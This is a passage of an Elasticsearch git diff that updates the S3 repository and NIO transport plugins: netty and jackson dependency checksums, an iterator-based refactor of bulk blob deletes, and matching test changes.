a/plugins/repository-s3/licenses/jackson-databind-2.10.4.jar.sha1 b/plugins/repository-s3/licenses/jackson-databind-2.10.4.jar.sha1 deleted file mode 100644 index 27d5a72cd27af..0000000000000 --- a/plugins/repository-s3/licenses/jackson-databind-2.10.4.jar.sha1 +++ /dev/null @@ -1 +0,0 @@ -76e9152e93d4cf052f93a64596f633ba5b1c8ed9 \ No newline at end of file diff --git a/plugins/repository-s3/licenses/jackson-databind-2.12.2.jar.sha1 b/plugins/repository-s3/licenses/jackson-databind-2.12.2.jar.sha1 new file mode 100644 index 0000000000000..8e574b75a883f --- /dev/null +++ b/plugins/repository-s3/licenses/jackson-databind-2.12.2.jar.sha1 @@ -0,0 +1 @@ +5f9d79e09ebf5d54a46e9f4543924cf7ae7654e0 \ No newline at end of file diff --git a/plugins/repository-s3/src/internalClusterTest/java/org/elasticsearch/repositories/s3/S3BlobStoreRepositoryTests.java b/plugins/repository-s3/src/internalClusterTest/java/org/elasticsearch/repositories/s3/S3BlobStoreRepositoryTests.java index 415ee1be2db55..94e5ebf463f44 100644 --- a/plugins/repository-s3/src/internalClusterTest/java/org/elasticsearch/repositories/s3/S3BlobStoreRepositoryTests.java +++ b/plugins/repository-s3/src/internalClusterTest/java/org/elasticsearch/repositories/s3/S3BlobStoreRepositoryTests.java @@ -37,6 +37,7 @@ import org.elasticsearch.repositories.blobstore.BlobStoreRepository; import org.elasticsearch.repositories.blobstore.ESMockAPIBasedRepositoryIntegTestCase; import org.elasticsearch.snapshots.SnapshotId; +import org.elasticsearch.snapshots.SnapshotState; import org.elasticsearch.snapshots.SnapshotsService; import org.elasticsearch.snapshots.mockstore.BlobStoreWrapper; import org.elasticsearch.test.ESIntegTestCase; @@ -112,7 +113,7 @@ protected HttpHandler createErroneousHttpHandler(final HttpHandler delegate) { } @Override - protected Settings nodeSettings(int nodeOrdinal) { + protected Settings nodeSettings(int nodeOrdinal, Settings otherSettings) { final MockSecureSettings secureSettings = new MockSecureSettings(); secureSettings.setString(S3ClientSettings.ACCESS_KEY_SETTING.getConcreteSettingForNamespace("test").getKey(), "test_access_key"); secureSettings.setString(S3ClientSettings.SECRET_KEY_SETTING.getConcreteSettingForNamespace("test").getKey(), "test_secret_key"); @@ -120,13 +121,14 @@ protected Settings nodeSettings(int nodeOrdinal) { final Settings.Builder builder = Settings.builder() .put(ThreadPool.ESTIMATED_TIME_INTERVAL_SETTING.getKey(), 0) // We have tests that verify an exact wait time .put(S3ClientSettings.ENDPOINT_SETTING.getConcreteSettingForNamespace("test").getKey(), httpServerUrl()) - // Disable chunked encoding as it simplifies a lot the request parsing on the httpServer side - .put(S3ClientSettings.DISABLE_CHUNKED_ENCODING.getConcreteSettingForNamespace("test").getKey(), true) // Disable request throttling because some random values in tests might generate too many failures for the S3 client .put(S3ClientSettings.USE_THROTTLE_RETRIES_SETTING.getConcreteSettingForNamespace("test").getKey(), false) - .put(super.nodeSettings(nodeOrdinal)) + .put(super.nodeSettings(nodeOrdinal, otherSettings)) .setSecureSettings(secureSettings); + if (randomBoolean()) { + builder.put(S3ClientSettings.DISABLE_CHUNKED_ENCODING.getConcreteSettingForNamespace("test").getKey(), randomBoolean()); + } if (signerOverride != null) { builder.put(S3ClientSettings.SIGNER_OVERRIDE.getConcreteSettingForNamespace("test").getKey(), signerOverride); } @@ -146,8 +148,16 @@ public void testEnforcedCooldownPeriod() throws IOException { final RepositoriesService repositoriesService = internalCluster().getCurrentMasterNodeInstance(RepositoriesService.class); final BlobStoreRepository repository = (BlobStoreRepository) repositoriesService.repository(repoName); final RepositoryData repositoryData = getRepositoryData(repository); - final RepositoryData modifiedRepositoryData = repositoryData.withVersions(Collections.singletonMap(fakeOldSnapshot, - SnapshotsService.SHARD_GEN_IN_REPO_DATA_VERSION.minimumCompatibilityVersion())).withoutRepositoryUUID().withoutClusterUUID(); + final RepositoryData modifiedRepositoryData = repositoryData + .withoutUUIDs() + .withExtraDetails(Collections.singletonMap( + fakeOldSnapshot, + new RepositoryData.SnapshotDetails( + SnapshotState.SUCCESS, + SnapshotsService.SHARD_GEN_IN_REPO_DATA_VERSION.minimumCompatibilityVersion(), + 0L, // -1 would refresh RepositoryData and find the real version + 0L // -1 would refresh RepositoryData and find the real version + ))); final BytesReference serialized = BytesReference.bytes(modifiedRepositoryData.snapshotsToXContent(XContentFactory.jsonBuilder(), SnapshotsService.OLD_SNAPSHOT_FORMAT)); PlainActionFuture.get(f -> repository.threadPool().generic().execute(ActionRunnable.run(f, () -> diff --git a/plugins/repository-s3/src/main/java/org/elasticsearch/repositories/s3/S3BlobContainer.java b/plugins/repository-s3/src/main/java/org/elasticsearch/repositories/s3/S3BlobContainer.java index b078d2beae5ce..fe61c2b36882b 100644 --- a/plugins/repository-s3/src/main/java/org/elasticsearch/repositories/s3/S3BlobContainer.java +++ b/plugins/repository-s3/src/main/java/org/elasticsearch/repositories/s3/S3BlobContainer.java @@ -19,6 +19,7 @@ import com.amazonaws.services.s3.model.ObjectMetadata; import com.amazonaws.services.s3.model.PartETag; import com.amazonaws.services.s3.model.PutObjectRequest; +import com.amazonaws.services.s3.model.S3ObjectSummary; import com.amazonaws.services.s3.model.UploadPartRequest; import com.amazonaws.services.s3.model.UploadPartResult; import org.apache.logging.log4j.LogManager; @@ -36,20 +37,21 @@ import org.elasticsearch.common.blobstore.support.AbstractBlobContainer; import org.elasticsearch.common.blobstore.support.PlainBlobMetadata; import org.elasticsearch.common.bytes.BytesReference; +import org.elasticsearch.common.collect.Iterators; import org.elasticsearch.common.collect.Tuple; import org.elasticsearch.common.unit.ByteSizeUnit; import org.elasticsearch.common.unit.ByteSizeValue; -import org.elasticsearch.common.util.CollectionUtils; import java.io.ByteArrayInputStream; import java.io.IOException; import java.io.InputStream; import java.util.ArrayList; -import java.util.HashSet; +import java.util.Collections; +import java.util.Iterator; import java.util.List; import java.util.Map; -import java.util.Set; import java.util.concurrent.atomic.AtomicLong; +import java.util.concurrent.atomic.AtomicReference; import java.util.function.Function; import java.util.stream.Collectors; @@ -138,6 +140,7 @@ public void writeBlobAtomic(String blobName, BytesReference bytes, boolean failI } @Override + @SuppressWarnings("unchecked") public DeleteResult delete() throws IOException { final AtomicLong deletedBlobs = new AtomicLong(); final AtomicLong deletedBytes = new AtomicLong(); @@ -155,17 +158,26 @@ public DeleteResult delete() throws IOException { listObjectsRequest.setRequestMetricCollector(blobStore.listMetricCollector); list = SocketAccess.doPrivileged(() -> clientReference.client().listObjects(listObjectsRequest)); } - final List blobsToDelete = new ArrayList<>(); - list.getObjectSummaries().forEach(s3ObjectSummary -> { + final Iterator objectSummaryIterator = list.getObjectSummaries().iterator(); + final Iterator blobNameIterator = new Iterator<>() { + @Override + public boolean hasNext() { + return objectSummaryIterator.hasNext(); + } + + @Override + public String next() { + final S3ObjectSummary summary = objectSummaryIterator.next(); deletedBlobs.incrementAndGet(); - deletedBytes.addAndGet(s3ObjectSummary.getSize()); - blobsToDelete.add(s3ObjectSummary.getKey()); - }); + deletedBytes.addAndGet(summary.getSize()); + return summary.getKey(); + } + }; if (list.isTruncated()) { - doDeleteBlobs(blobsToDelete, false); + doDeleteBlobs(blobNameIterator, false); prevListing = list; } else { - doDeleteBlobs(CollectionUtils.appendToCopy(blobsToDelete, keyPath), false); + doDeleteBlobs(Iterators.concat(blobNameIterator, Collections.singletonList(keyPath).iterator()), false); break; } } @@ -176,67 +188,71 @@ public DeleteResult delete() throws IOException { } @Override - public void deleteBlobsIgnoringIfNotExists(List blobNames) throws IOException { + public void deleteBlobsIgnoringIfNotExists(Iterator blobNames) throws IOException { doDeleteBlobs(blobNames, true); } - private void doDeleteBlobs(List blobNames, boolean relative) throws IOException { - if (blobNames.isEmpty()) { + private void doDeleteBlobs(Iterator blobNames, boolean relative) throws IOException { + if (blobNames.hasNext() == false) { return; } - final Set outstanding; + final Iterator outstanding; if (relative) { - outstanding = blobNames.stream().map(this::buildKey).collect(Collectors.toSet()); + outstanding = new Iterator<>() { + @Override + public boolean hasNext() { + return blobNames.hasNext(); + } + + @Override + public String next() { + return buildKey(blobNames.next()); + } + }; } else { - outstanding = new HashSet<>(blobNames); + outstanding = blobNames; } + + final List partition = new ArrayList<>(); try (AmazonS3Reference clientReference = blobStore.clientReference()) { // S3 API only allows 1k blobs per delete so we split up the given blobs into requests of max. 1k deletes - final List deleteRequests = new ArrayList<>(); - final List partition = new ArrayList<>(); - for (String key : outstanding) { - partition.add(key); - if (partition.size() == MAX_BULK_DELETES) { - deleteRequests.add(bulkDelete(blobStore.bucket(), partition)); - partition.clear(); - } - } - if (partition.isEmpty() == false) { - deleteRequests.add(bulkDelete(blobStore.bucket(), partition)); - } + final AtomicReference aex = new AtomicReference<>(); SocketAccess.doPrivilegedVoid(() -> { - AmazonClientException aex = null; - for (DeleteObjectsRequest deleteRequest : deleteRequests) { - List keysInRequest = - deleteRequest.getKeys().stream().map(DeleteObjectsRequest.KeyVersion::getKey).collect(Collectors.toList()); - try { - clientReference.client().deleteObjects(deleteRequest); - outstanding.removeAll(keysInRequest); - } catch (MultiObjectDeleteException e) { - // We are sending quiet mode requests so we can't use the deleted keys entry on the exception and instead - // first remove all keys that were sent in the request and then add back those that ran into an exception. - outstanding.removeAll(keysInRequest); - outstanding.addAll( - e.getErrors().stream().map(MultiObjectDeleteException.DeleteError::getKey).collect(Collectors.toSet())); - logger.warn( - () -> new ParameterizedMessage("Failed to delete some blobs {}", e.getErrors() - .stream().map(err -> "[" + err.getKey() + "][" + err.getCode() + "][" + err.getMessage() + "]") - .collect(Collectors.toList())), e); - aex = ExceptionsHelper.useOrSuppress(aex, e); - } catch (AmazonClientException e) { - // The AWS client threw any unexpected exception and did not execute the request at all so we do not - // remove any keys from the outstanding deletes set. - aex = ExceptionsHelper.useOrSuppress(aex, e); + outstanding.forEachRemaining(key -> { + partition.add(key); + if (partition.size() == MAX_BULK_DELETES) { + deletePartition(clientReference, partition, aex); + partition.clear(); } - } - if (aex != null) { - throw aex; + }); + if (partition.isEmpty() == false) { + deletePartition(clientReference, partition, aex); } }); + if (aex.get() != null) { + throw aex.get(); + } } catch (Exception e) { - throw new IOException("Failed to delete blobs [" + outstanding + "]", e); + throw new IOException("Failed to delete blobs " + partition.stream().limit(10).collect(Collectors.toList()), e); + } + } + + private void deletePartition(AmazonS3Reference clientReference, List partition, AtomicReference aex) { + try { + clientReference.client().deleteObjects(bulkDelete(blobStore.bucket(), partition)); + } catch (MultiObjectDeleteException e) { + // We are sending quiet mode requests so we can't use the deleted keys entry on the exception and instead + // first remove all keys that were sent in the request and then add back those that ran into an exception. + logger.warn( + () -> new ParameterizedMessage("Failed to delete some blobs {}", e.getErrors() + .stream().map(err -> "[" + err.getKey() + "][" + err.getCode() + "][" + err.getMessage() + "]") + .collect(Collectors.toList())), e); + aex.set(ExceptionsHelper.useOrSuppress(aex.get(), e)); + } catch (AmazonClientException e) { + // The AWS client threw any unexpected exception and did not execute the request at all so we do not + // remove any keys from the outstanding deletes set. + aex.set(ExceptionsHelper.useOrSuppress(aex.get(), e)); } - assert outstanding.isEmpty(); } private static DeleteObjectsRequest bulkDelete(String bucket, List blobs) { diff --git a/plugins/repository-s3/src/main/java/org/elasticsearch/repositories/s3/S3BlobStore.java b/plugins/repository-s3/src/main/java/org/elasticsearch/repositories/s3/S3BlobStore.java index 92536d0e1938a..a3279c1ef4976 100644 --- a/plugins/repository-s3/src/main/java/org/elasticsearch/repositories/s3/S3BlobStore.java +++ b/plugins/repository-s3/src/main/java/org/elasticsearch/repositories/s3/S3BlobStore.java @@ -64,30 +64,30 @@ class S3BlobStore implements BlobStore { this.cannedACL = initCannedACL(cannedACL); this.storageClass = initStorageClass(storageClass); this.repositoryMetadata = repositoryMetadata; - this.getMetricCollector = new RequestMetricCollector() { + this.getMetricCollector = new IgnoreNoResponseMetricsCollector() { @Override - public void collectMetrics(Request request, Response response) { + public void collectMetrics(Request request) { assert request.getHttpMethod().name().equals("GET"); stats.getCount.addAndGet(getRequestCount(request)); } }; - this.listMetricCollector = new RequestMetricCollector() { + this.listMetricCollector = new IgnoreNoResponseMetricsCollector() { @Override - public void collectMetrics(Request request, Response response) { + public void collectMetrics(Request request) { assert request.getHttpMethod().name().equals("GET"); stats.listCount.addAndGet(getRequestCount(request)); } }; - this.putMetricCollector = new RequestMetricCollector() { + this.putMetricCollector = new IgnoreNoResponseMetricsCollector() { @Override - public void collectMetrics(Request request, Response response) { + public void collectMetrics(Request request) { assert request.getHttpMethod().name().equals("PUT"); stats.putCount.addAndGet(getRequestCount(request)); } }; - this.multiPartUploadMetricCollector = new RequestMetricCollector() { + this.multiPartUploadMetricCollector = new IgnoreNoResponseMetricsCollector() { @Override - public void collectMetrics(Request request, Response response) { + public void collectMetrics(Request request) { assert request.getHttpMethod().name().equals("PUT") || request.getHttpMethod().name().equals("POST"); stats.postCount.addAndGet(getRequestCount(request)); @@ -95,6 +95,20 @@ public void collectMetrics(Request request, Response response) { }; } + // metrics collector that ignores null responses that we interpret as the request not reaching the S3 endpoint due to a network + // issue + private abstract static class IgnoreNoResponseMetricsCollector extends RequestMetricCollector { + + @Override + public final void collectMetrics(Request request, Response response) { + if (response != null) { + collectMetrics(request); + } + } + + protected abstract void collectMetrics(Request request); + } + private long getRequestCount(Request request) { Number requestCount = request.getAWSRequestMetrics().getTimingInfo() .getCounter(AWSRequestMetrics.Field.RequestCount.name()); diff --git a/plugins/repository-s3/src/main/java/org/elasticsearch/repositories/s3/S3Repository.java b/plugins/repository-s3/src/main/java/org/elasticsearch/repositories/s3/S3Repository.java index 68f752171528c..4aa8f24073dd0 100644 --- a/plugins/repository-s3/src/main/java/org/elasticsearch/repositories/s3/S3Repository.java +++ b/plugins/repository-s3/src/main/java/org/elasticsearch/repositories/s3/S3Repository.java @@ -300,9 +300,9 @@ private void logCooldownInfo() { private static BlobPath buildBasePath(RepositoryMetadata metadata) { final String basePath = BASE_PATH_SETTING.get(metadata.settings()); if (Strings.hasLength(basePath)) { - return new BlobPath().add(basePath); + return BlobPath.EMPTY.add(basePath); } else { - return BlobPath.cleanPath(); + return BlobPath.EMPTY; } } diff --git a/plugins/repository-s3/src/test/java/org/elasticsearch/repositories/s3/S3BlobContainerRetriesTests.java b/plugins/repository-s3/src/test/java/org/elasticsearch/repositories/s3/S3BlobContainerRetriesTests.java index 560a7a4a7b2ac..97de0dcd6c33c 100644 --- a/plugins/repository-s3/src/test/java/org/elasticsearch/repositories/s3/S3BlobContainerRetriesTests.java +++ b/plugins/repository-s3/src/test/java/org/elasticsearch/repositories/s3/S3BlobContainerRetriesTests.java @@ -121,7 +121,7 @@ protected BlobContainer createBlobContainer(final @Nullable Integer maxRetries, final RepositoryMetadata repositoryMetadata = new RepositoryMetadata("repository", S3Repository.TYPE, Settings.builder().put(S3Repository.CLIENT_NAME.getKey(), clientName).build()); - return new S3BlobContainer(BlobPath.cleanPath(), new S3BlobStore(service, "bucket", + return new S3BlobContainer(BlobPath.EMPTY, new S3BlobStore(service, "bucket", S3Repository.SERVER_SIDE_ENCRYPTION_SETTING.getDefault(Settings.EMPTY), bufferSize == null ? S3Repository.BUFFER_SIZE_SETTING.getDefault(Settings.EMPTY) : bufferSize, S3Repository.CANNED_ACL_SETTING.getDefault(Settings.EMPTY), diff --git a/plugins/repository-s3/src/test/java/org/elasticsearch/repositories/s3/S3BlobStoreContainerTests.java b/plugins/repository-s3/src/test/java/org/elasticsearch/repositories/s3/S3BlobStoreContainerTests.java index ab16d6c053128..5765674cbb27e 100644 --- a/plugins/repository-s3/src/test/java/org/elasticsearch/repositories/s3/S3BlobStoreContainerTests.java +++ b/plugins/repository-s3/src/test/java/org/elasticsearch/repositories/s3/S3BlobStoreContainerTests.java @@ -76,7 +76,7 @@ public void testExecuteSingleUpload() throws IOException { final String bucketName = randomAlphaOfLengthBetween(1, 10); final String blobName = randomAlphaOfLengthBetween(1, 10); - final BlobPath blobPath = new BlobPath(); + final BlobPath blobPath = BlobPath.EMPTY; if (randomBoolean()) { IntStream.of(randomIntBetween(1, 5)).forEach(value -> blobPath.add("path_" + value)); } @@ -149,9 +149,9 @@ public void testExecuteMultipartUpload() throws IOException { final String bucketName = randomAlphaOfLengthBetween(1, 10); final String blobName = randomAlphaOfLengthBetween(1, 10); - final BlobPath blobPath = new BlobPath(); + final BlobPath blobPath = BlobPath.EMPTY; if (randomBoolean()) { - IntStream.of(randomIntBetween(1, 5)).forEach(value -> blobPath.add("path_" + value)); + IntStream.of(randomIntBetween(1, 5)).forEach(value -> BlobPath.EMPTY.add("path_" + value)); } final long blobSize = ByteSizeUnit.GB.toBytes(randomIntBetween(1, 128)); @@ -250,7 +250,7 @@ public void testExecuteMultipartUpload() throws IOException { public void testExecuteMultipartUploadAborted() { final String bucketName = randomAlphaOfLengthBetween(1, 10); final String blobName = randomAlphaOfLengthBetween(1, 10); - final BlobPath blobPath = new BlobPath(); + final BlobPath blobPath = BlobPath.EMPTY; final long blobSize = ByteSizeUnit.MB.toBytes(765); final long bufferSize = ByteSizeUnit.MB.toBytes(150); @@ -312,7 +312,7 @@ public void testExecuteMultipartUploadAborted() { doNothing().when(client).abortMultipartUpload(argumentCaptor.capture()); final IOException e = expectThrows(IOException.class, () -> { - final S3BlobContainer blobContainer = new S3BlobContainer(blobPath, blobStore); + final S3BlobContainer blobContainer = new S3BlobContainer(BlobPath.EMPTY, blobStore); blobContainer.executeMultipartUpload(blobStore, blobName, new ByteArrayInputStream(new byte[0]), blobSize); }); diff --git a/plugins/store-smb/build.gradle b/plugins/store-smb/build.gradle index 7f0d9e933c302..728e9642d9c29 100644 --- a/plugins/store-smb/build.gradle +++ b/plugins/store-smb/build.gradle @@ -14,6 +14,6 @@ esplugin { } restResources { restApi { - includeCore '_common', 'cluster', 'nodes', 'index', 'indices', 'get' + include '_common', 'cluster', 'nodes', 'index', 'indices', 'get' } } diff --git a/plugins/transport-nio/build.gradle b/plugins/transport-nio/build.gradle index 127644e913bf8..b65e9dffb4fae 100644 --- a/plugins/transport-nio/build.gradle +++ b/plugins/transport-nio/build.gradle @@ -1,4 +1,4 @@ -import org.elasticsearch.gradle.info.BuildParams +import org.elasticsearch.gradle.internal.info.BuildParams /* * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one @@ -122,6 +122,8 @@ tasks.named("thirdPartyAudit").configure { 'io.netty.internal.tcnative.CertificateVerifier', 'io.netty.internal.tcnative.SessionTicketKey', 'io.netty.internal.tcnative.SniHostNameMatcher', + 'io.netty.internal.tcnative.SSLSession', + 'io.netty.internal.tcnative.SSLSessionCache', 'reactor.blockhound.BlockHound$Builder', 'reactor.blockhound.integration.BlockHoundIntegration' diff --git a/plugins/transport-nio/licenses/netty-buffer-4.1.49.Final.jar.sha1 b/plugins/transport-nio/licenses/netty-buffer-4.1.49.Final.jar.sha1 deleted file mode 100644 index 14da1fbad92f1..0000000000000 --- a/plugins/transport-nio/licenses/netty-buffer-4.1.49.Final.jar.sha1 +++ /dev/null @@ -1 +0,0 @@ -8e819a81bca88d1e88137336f64531a53db0a4ad \ No newline at end of file diff --git a/plugins/transport-nio/licenses/netty-buffer-4.1.63.Final.jar.sha1 b/plugins/transport-nio/licenses/netty-buffer-4.1.63.Final.jar.sha1 new file mode 100644 index 0000000000000..d472369d69bc0 --- /dev/null +++ b/plugins/transport-nio/licenses/netty-buffer-4.1.63.Final.jar.sha1 @@ -0,0 +1 @@ +40028ce5ac7c43f1c9a1439f74637cad04013e23 \ No newline at end of file diff --git a/plugins/transport-nio/licenses/netty-codec-4.1.49.Final.jar.sha1 b/plugins/transport-nio/licenses/netty-codec-4.1.49.Final.jar.sha1 deleted file mode 100644 index 6353dc0b7ada3..0000000000000 --- a/plugins/transport-nio/licenses/netty-codec-4.1.49.Final.jar.sha1 +++ /dev/null @@ -1 +0,0 @@ -20218de83c906348283f548c255650fd06030424 \ No newline at end of file diff --git a/plugins/transport-nio/licenses/netty-codec-4.1.63.Final.jar.sha1 b/plugins/transport-nio/licenses/netty-codec-4.1.63.Final.jar.sha1 new file mode 100644 index 0000000000000..8bfbe331c55c9 --- /dev/null +++ b/plugins/transport-nio/licenses/netty-codec-4.1.63.Final.jar.sha1 @@ -0,0 +1 @@ +d4d2fccea88c80e56d59ce1053c53df0f9f4f5db \ No newline at end of file diff --git a/plugins/transport-nio/licenses/netty-codec-http-4.1.49.Final.jar.sha1 b/plugins/transport-nio/licenses/netty-codec-http-4.1.49.Final.jar.sha1 deleted file mode 100644 index 07651dd7f7682..0000000000000 --- a/plugins/transport-nio/licenses/netty-codec-http-4.1.49.Final.jar.sha1 +++ /dev/null @@ -1 +0,0 @@ -4f30dbc462b26c588dffc0eb7552caef1a0f549e \ No newline at end of file diff --git a/plugins/transport-nio/licenses/netty-codec-http-4.1.63.Final.jar.sha1 b/plugins/transport-nio/licenses/netty-codec-http-4.1.63.Final.jar.sha1 new file mode 100644 index 0000000000000..0279e286e318d --- /dev/null +++ b/plugins/transport-nio/licenses/netty-codec-http-4.1.63.Final.jar.sha1 @@ -0,0 +1 @@ +f8c9b159dcb76452dc98a370a5511ff993670419 \ No newline at end of file diff --git a/plugins/transport-nio/licenses/netty-common-4.1.49.Final.jar.sha1 b/plugins/transport-nio/licenses/netty-common-4.1.49.Final.jar.sha1 deleted file mode 100644 index 2c0aee66a9914..0000000000000 --- a/plugins/transport-nio/licenses/netty-common-4.1.49.Final.jar.sha1 +++ /dev/null @@ -1 +0,0 @@ -927c8563a1662d869b145e70ce82ad89100f2c90 \ No newline at end of file diff --git a/plugins/transport-nio/licenses/netty-common-4.1.63.Final.jar.sha1 b/plugins/transport-nio/licenses/netty-common-4.1.63.Final.jar.sha1 new file mode 100644 index 0000000000000..54e103f1d8b5f --- /dev/null +++ b/plugins/transport-nio/licenses/netty-common-4.1.63.Final.jar.sha1 @@ -0,0 +1 @@ +e1206b46384d4dcbecee2901f18ce65ecf02e8a4 \ No newline at end of file diff --git a/plugins/transport-nio/licenses/netty-handler-4.1.49.Final.jar.sha1 b/plugins/transport-nio/licenses/netty-handler-4.1.49.Final.jar.sha1 deleted file mode 100644 index c6e2ae4fa045c..0000000000000 --- a/plugins/transport-nio/licenses/netty-handler-4.1.49.Final.jar.sha1 +++ /dev/null @@ -1 +0,0 @@ -c73443adb9d085d5dc2d5b7f3bdd91d5963976f7 \ No newline at end of file diff --git a/plugins/transport-nio/licenses/netty-handler-4.1.63.Final.jar.sha1 b/plugins/transport-nio/licenses/netty-handler-4.1.63.Final.jar.sha1 new file mode 100644 index 0000000000000..ae180d9ae4016 --- /dev/null +++ b/plugins/transport-nio/licenses/netty-handler-4.1.63.Final.jar.sha1 @@ -0,0 +1 @@ +879a43c2325b08e92e8967218b6ddb0ed4b7a0d3 \ No newline at end of file diff --git a/plugins/transport-nio/licenses/netty-resolver-4.1.49.Final.jar.sha1 b/plugins/transport-nio/licenses/netty-resolver-4.1.49.Final.jar.sha1 deleted file mode 100644 index 986895a8ecf31..0000000000000 --- a/plugins/transport-nio/licenses/netty-resolver-4.1.49.Final.jar.sha1 +++ /dev/null @@ -1 +0,0 @@ -eb81e1f0eaa99e75983bf3d28cae2b103e0f3a34 \ No newline at end of file diff --git a/plugins/transport-nio/licenses/netty-resolver-4.1.63.Final.jar.sha1 b/plugins/transport-nio/licenses/netty-resolver-4.1.63.Final.jar.sha1 new file mode 100644 index 0000000000000..eb6858e75cc21 --- /dev/null +++ b/plugins/transport-nio/licenses/netty-resolver-4.1.63.Final.jar.sha1 @@ -0,0 +1 @@ +d07cd47c101dfa655d6d5cc304d523742fd78ca8 \ No newline at end of file diff --git a/plugins/transport-nio/licenses/netty-transport-4.1.49.Final.jar.sha1 b/plugins/transport-nio/licenses/netty-transport-4.1.49.Final.jar.sha1 deleted file mode 100644 index 175b8c84a8824..0000000000000 --- a/plugins/transport-nio/licenses/netty-transport-4.1.49.Final.jar.sha1 +++ /dev/null @@ -1 +0,0 @@ -415ea7f326635743aec952fe2349ca45959e94a7 \ No newline at end of file diff --git a/plugins/transport-nio/licenses/netty-transport-4.1.63.Final.jar.sha1 b/plugins/transport-nio/licenses/netty-transport-4.1.63.Final.jar.sha1 new file mode 100644 index 0000000000000..c41cdc86c51c8 --- /dev/null +++ b/plugins/transport-nio/licenses/netty-transport-4.1.63.Final.jar.sha1 @@ -0,0 +1 @@ +09a8bbe1ba082c9434e6f524d3864a53f340f2df \ No newline at end of file diff --git a/plugins/transport-nio/src/internalClusterTest/java/org/elasticsearch/NioIntegTestCase.java b/plugins/transport-nio/src/internalClusterTest/java/org/elasticsearch/NioIntegTestCase.java index 20b53c43f008d..5adf5e18b0be0 100644 --- a/plugins/transport-nio/src/internalClusterTest/java/org/elasticsearch/NioIntegTestCase.java +++ b/plugins/transport-nio/src/internalClusterTest/java/org/elasticsearch/NioIntegTestCase.java @@ -29,8 +29,8 @@ protected boolean addMockTransportService() { } @Override - protected Settings nodeSettings(int nodeOrdinal) { - Settings.Builder builder = Settings.builder().put(super.nodeSettings(nodeOrdinal)); + protected Settings nodeSettings(int nodeOrdinal, Settings otherSettings) { + Settings.Builder builder = Settings.builder().put(super.nodeSettings(nodeOrdinal, otherSettings)); // randomize nio settings if (randomBoolean()) { builder.put(NioTransportPlugin.NIO_WORKER_COUNT.getKey(), random().nextInt(3) + 1); diff --git a/plugins/transport-nio/src/main/java/org/elasticsearch/transport/nio/PageAllocator.java b/plugins/transport-nio/src/main/java/org/elasticsearch/transport/nio/PageAllocator.java index ba9b8384bdd9e..fcdfe7bbf2da0 100644 --- a/plugins/transport-nio/src/main/java/org/elasticsearch/transport/nio/PageAllocator.java +++ b/plugins/transport-nio/src/main/java/org/elasticsearch/transport/nio/PageAllocator.java @@ -29,7 +29,7 @@ public PageAllocator(PageCacheRecycler recycler) { public Page apply(int length) { if (length >= RECYCLE_LOWER_THRESHOLD && length <= PageCacheRecycler.BYTE_PAGE_SIZE){ Recycler.V bytePage = recycler.bytePage(false); - return new Page(ByteBuffer.wrap(bytePage.v(), 0, length), bytePage::close); + return new Page(ByteBuffer.wrap(bytePage.v(), 0, length), bytePage); } else { return new Page(ByteBuffer.allocate(length), () -> {}); } diff --git a/plugins/transport-nio/src/main/java/org/elasticsearch/transport/nio/TcpReadWriteHandler.java b/plugins/transport-nio/src/main/java/org/elasticsearch/transport/nio/TcpReadWriteHandler.java index 434539b1688e9..d9df67bfcded8 100644 --- a/plugins/transport-nio/src/main/java/org/elasticsearch/transport/nio/TcpReadWriteHandler.java +++ b/plugins/transport-nio/src/main/java/org/elasticsearch/transport/nio/TcpReadWriteHandler.java @@ -15,7 +15,6 @@ import org.elasticsearch.common.lease.Releasable; import org.elasticsearch.common.lease.Releasables; import org.elasticsearch.common.util.PageCacheRecycler; -import org.elasticsearch.core.internal.io.IOUtils; import org.elasticsearch.nio.BytesWriteHandler; import org.elasticsearch.nio.InboundChannelBuffer; import org.elasticsearch.nio.Page; @@ -48,7 +47,7 @@ public int consumeReads(InboundChannelBuffer channelBuffer) throws IOException { for (int i = 0; i < pages.length; ++i) { references[i] = BytesReference.fromByteBuffer(pages[i].byteBuffer()); } - Releasable releasable = () -> IOUtils.closeWhileHandlingException(pages); + Releasable releasable = pages.length == 1 ? pages[0] : () -> Releasables.closeExpectNoException(pages); try (ReleasableBytesReference reference = new ReleasableBytesReference(CompositeBytesReference.of(references), releasable)) { pipeline.handleBytes(channel, reference); return reference.length(); @@ -57,7 +56,6 @@ public int consumeReads(InboundChannelBuffer channelBuffer) throws IOException { @Override public void close() { - Releasables.closeWhileHandlingException(pipeline); - super.close(); + Releasables.closeExpectNoException(pipeline, super::close); } } diff --git a/plugins/transport-nio/src/test/java/org/elasticsearch/transport/nio/SimpleNioTransportTests.java b/plugins/transport-nio/src/test/java/org/elasticsearch/transport/nio/SimpleNioTransportTests.java index 2e901e2a041e3..440d2209ab273 100644 --- a/plugins/transport-nio/src/test/java/org/elasticsearch/transport/nio/SimpleNioTransportTests.java +++ b/plugins/transport-nio/src/test/java/org/elasticsearch/transport/nio/SimpleNioTransportTests.java @@ -83,27 +83,22 @@ public void testDefaultKeepAliveSettings() throws IOException { (IOUtils.LINUX || IOUtils.MAC_OS_X) && JavaVersion.current().compareTo(JavaVersion.parse("11")) >= 0); try (MockTransportService serviceC = buildService("TS_C", Version.CURRENT, Settings.EMPTY); - MockTransportService serviceD = buildService("TS_D", Version.CURRENT, Settings.EMPTY)) { - serviceC.start(); - serviceC.acceptIncomingRequests(); - serviceD.start(); - serviceD.acceptIncomingRequests(); + MockTransportService serviceD = buildService("TS_D", Version.CURRENT, Settings.EMPTY); + Transport.Connection connection = openConnection(serviceC, serviceD.getLocalDiscoNode(), TestProfiles.LIGHT_PROFILE)) { - try (Transport.Connection connection = openConnection(serviceC, serviceD.getLocalDiscoNode(), TestProfiles.LIGHT_PROFILE)) { - assertThat(connection, instanceOf(StubbableTransport.WrappedConnection.class)); - Transport.Connection conn = ((StubbableTransport.WrappedConnection) connection).getConnection(); - assertThat(conn, instanceOf(TcpTransport.NodeChannels.class)); - TcpTransport.NodeChannels nodeChannels = (TcpTransport.NodeChannels) conn; - for (TcpChannel channel : nodeChannels.getChannels()) { - assertFalse(channel.isServerChannel()); - checkDefaultKeepAliveOptions(channel); - } + assertThat(connection, instanceOf(StubbableTransport.WrappedConnection.class)); + Transport.Connection conn = ((StubbableTransport.WrappedConnection) connection).getConnection(); + assertThat(conn, instanceOf(TcpTransport.NodeChannels.class)); + TcpTransport.NodeChannels nodeChannels = (TcpTransport.NodeChannels) conn; + for (TcpChannel channel : nodeChannels.getChannels()) { + assertFalse(channel.isServerChannel()); + checkDefaultKeepAliveOptions(channel); + } - assertThat(serviceD.getOriginalTransport(), 